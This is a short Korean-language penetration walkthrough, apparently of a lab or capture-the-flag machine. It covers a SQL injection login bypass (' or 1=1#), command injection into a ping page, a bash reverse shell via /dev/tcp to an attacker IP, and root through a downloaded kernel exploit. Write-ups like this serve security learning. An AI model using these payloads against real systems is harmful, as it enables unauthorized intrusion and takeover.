로컬 네트워크를 스캔하여 공격할 대상의 IP 주소를 얻습니다.
얻은 IP 주소의 포트를 스캔합니다.
여러 서비스들이 동작하고 있습니다.
우선 80번 포트에 웹 서비스가 실행되고 있으니 브라우저로 열어봅니다.
브라우저에서 대상 IP로 접속하니 관리자 패널이 표시됩니다.
SQL 인젝션을 사용해 인증 우회를 시도합니다.
Username : admin
Password : ' or 1=1#
성공적으로 인증을 우회했습니다.
로그인에 성공해 "Ping a machine on the network"를 확인할 수 있는 페이지가 표시됩니다.
8.8.8.8을 입력하고 출력을 테스트 해봅니다.
ping 명령의 실행 결과를 pingit.php 페이지에서 보여주는 것 같습니다.
커맨드 인젝션에 취약할 수 있을 것 같아 아래의 리눅스 명령을 주입 해봅니다.
8.8.8.8 && ls -la
ls -al 명령의 결과가 웹 페이지에 표시됩니다.
리눅스 명령을 주입하고 서버에서 실행할 수 있다는 사실을 깨달았습니다.
리버스 쉘을 통해 쉘을 획득하겠습니다.
터미널에서 새 탭을 열고 netcat을 통해 연결을 받을 포트를 열어둡니다.
Pentest Monkey의 Bash 리버스 쉘 cheet sheet를 참고했습니다. 아래 명령을 입력합니다.
;bash -i >& /dev/tcp/192.168.10.117/4444 0>&1
쉘을 획득했습니다.
권한 상승을 위해 uname 명령을 통해 커널 버전을 알아냅니다
searchsploit을 이용해 로컬 권한 상승 exploit 다운로드 받습니다.
exploit을 웹서버에 올리고 대상 쉘 /tmp 디렉토리에서 wget을 사용해 가져옵니다.
gcc를 사용해 컴파일한 뒤 exploit을 실행합니다.
root 쉘을 획득했습니다.